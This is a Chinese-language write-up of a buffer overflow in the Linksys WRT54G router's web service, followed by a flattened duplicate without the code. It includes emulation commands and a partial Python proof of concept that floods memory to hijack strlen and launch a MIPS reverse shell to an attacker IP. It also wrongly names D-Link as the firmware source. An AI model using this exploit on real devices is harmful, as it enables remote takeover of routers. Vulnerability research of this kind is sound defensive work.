Linksys WRT54G路由器溢出漏洞分析–运行环境修复
字数 1250 2025-08-22 12:23:00

Linksys WRT54G路由器溢出漏洞分析与利用

1. 漏洞概述

本文详细分析Linksys WRT54G路由器中的缓冲区溢出漏洞,该漏洞存在于HTTPD服务的do_apply_post函数中,由于未对POST参数长度进行校验,导致攻击者可以通过构造恶意请求实现远程代码执行。

2. 环境准备

2.1 所需工具

  • 固件文件: 可从D-Link官方下载
  • nvram-faker: 模拟NVRAM的库,GitHub地址
  • QEMU: 用于模拟MIPS架构环境

2.2 网络配置

  • 攻击机IP: 192.168.40.146
  • 路由器IP: 192.168.40.200

2.3 QEMU启动命令

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

2.4 文件传输

将路由器文件系统传输到仿真环境:

sudo scp -r ./squashfs-root/ root@192.168.40.200:/root/

3. HTTPD服务启动方法

方法一: 常规启动(失败)

尝试常规启动httpd服务,但只启动了FTP服务。

方法二: 未详细说明

方法三: 强制启动(成功)

使用QEMU用户模式启动httpd:

sudo chroot ./ ./qemu-mipsel-static ./usr/sbin/httpd

解释:

  • qemu-mipsel-static是预编译的QEMU用户模式模拟器
  • 它包含了必要的动态链接库,可以解决依赖问题
  • 使用chroot限制文件系统访问范围

4. 漏洞分析

4.1 漏洞代码

伪代码分析:

wreadlen = wfread(post_buf, 1, content-length, fhandle);
if(wreadlen) 
    strlen(post_buf);

问题点:

  1. 直接使用content-length作为读取长度,没有校验
  2. post_buf大小固定为0x2710(10,000)字节
  3. 读取后直接调用strlen,没有缓冲区边界检查

4.2 内存布局

  • post_buf位于HTTPD的.data
  • .data段用于存放已初始化的全局变量
  • 后续内存段(.extern等)连续且可写

4.3 溢出利用思路

  1. 溢出覆盖.data段后面的多个段
  2. 最终覆盖.extern段中的strlen函数地址
  3. 当调用strlen时,执行流程被劫持
  4. 需要填充0x2F32(0x1000D7A0 - 0x10001AD8)字节数据

5. 漏洞利用

5.1 利用策略

  1. post_buf中布置Shellcode和NOP雪橇
  2. 填充0x4000字节数据,全部覆盖为post_buf首地址
  3. 确保覆盖strlen函数地址
  4. strlen被劫持到Shellcode起始位置

5.2 Shellcode构造

使用MIPS架构的反弹Shell代码,关键部分:

mipselshell = "\xfa\xff\x0f\x24"  # li t7,-6
mipselshell += "\x27\x78\xe0\x01" # nor t7,t7,zero
# ... 更多指令 ...

5.3 完整POC代码

import sys
import struct,socket
import urllib2

def makepayload(host,port):
    # Shellcode构造部分
    hosts = struct.unpack('<cccc',struct.pack('<L',host))
    ports = struct.unpack('<cccc',struct.pack('<L',port))
    mipselshell = "\xfa\xff\x0f\x24"  # li t7,-6
    # ... 完整Shellcode ...
    return mipselshell

try:
    target = sys.argv[1]
except:
    print "Usage: %s <target>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/apply.cgi" % target
sip = '192.168.1.100'  # 攻击机IP
sport = 1234           # 攻击机端口

host = socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])
payload = makepayload(host,sport)
addr = struct.pack("<L",0x10001AD8)  # post_buf地址
DataSegSize = 0x4000
buf = "\x00"*(10000-len(payload)) + payload + addr*(DataSegSize/4)

req = urllib2.Request(url, buf)
print urllib2.urlopen(req).read()

6. 关键点总结

  1. 漏洞成因: 未校验的content-length导致缓冲区溢出
  2. 利用条件:
    • 后续内存段连续可写
    • 存在关键函数指针(strlen)可覆盖
  3. 利用技巧:
    • 精确计算偏移量(0x2F32字节)
    • 使用地址淹没技术提高成功率
    • MIPS架构Shellcode构造

7. 防御建议

  1. 对所有输入进行长度校验
  2. 使用非可执行内存(NX)保护
  3. 实现地址随机化(ASLR)
  4. 对关键函数指针进行保护

8. 参考资源

  1. 原始固件下载地址
  2. nvram-faker项目
  3. QEMU模拟器文档
  4. MIPS架构手册
Linksys WRT54G路由器溢出漏洞分析与利用 1. 漏洞概述 本文详细分析Linksys WRT54G路由器中的缓冲区溢出漏洞,该漏洞存在于HTTPD服务的 do_apply_post 函数中,由于未对POST参数长度进行校验,导致攻击者可以通过构造恶意请求实现远程代码执行。 2. 环境准备 2.1 所需工具 固件文件 : 可从 D-Link官方 下载 nvram-faker : 模拟NVRAM的库, GitHub地址 QEMU : 用于模拟MIPS架构环境 2.2 网络配置 攻击机IP: 192.168.40.146 路由器IP: 192.168.40.200 2.3 QEMU启动命令 2.4 文件传输 将路由器文件系统传输到仿真环境: 3. HTTPD服务启动方法 方法一: 常规启动(失败) 尝试常规启动httpd服务,但只启动了FTP服务。 方法二: 未详细说明 方法三: 强制启动(成功) 使用QEMU用户模式启动httpd: 解释 : qemu-mipsel-static 是预编译的QEMU用户模式模拟器 它包含了必要的动态链接库,可以解决依赖问题 使用chroot限制文件系统访问范围 4. 漏洞分析 4.1 漏洞代码 伪代码分析: 问题点 : 直接使用 content-length 作为读取长度,没有校验 post_buf 大小固定为0x2710(10,000)字节 读取后直接调用 strlen ,没有缓冲区边界检查 4.2 内存布局 post_buf 位于HTTPD的 .data 段 .data 段用于存放已初始化的全局变量 后续内存段(.extern等)连续且可写 4.3 溢出利用思路 溢出覆盖 .data 段后面的多个段 最终覆盖 .extern 段中的 strlen 函数地址 当调用 strlen 时,执行流程被劫持 需要填充0x2F32(0x1000D7A0 - 0x10001AD8)字节数据 5. 漏洞利用 5.1 利用策略 在 post_buf 中布置Shellcode和NOP雪橇 填充0x4000字节数据,全部覆盖为 post_buf 首地址 确保覆盖 strlen 函数地址 strlen 被劫持到Shellcode起始位置 5.2 Shellcode构造 使用MIPS架构的反弹Shell代码,关键部分: 5.3 完整POC代码 6. 关键点总结 漏洞成因 : 未校验的 content-length 导致缓冲区溢出 利用条件 : 后续内存段连续可写 存在关键函数指针( strlen )可覆盖 利用技巧 : 精确计算偏移量(0x2F32字节) 使用地址淹没技术提高成功率 MIPS架构Shellcode构造 7. 防御建议 对所有输入进行长度校验 使用非可执行内存(NX)保护 实现地址随机化(ASLR) 对关键函数指针进行保护 8. 参考资源 原始固件下载地址 nvram-faker项目 QEMU模拟器文档 MIPS架构手册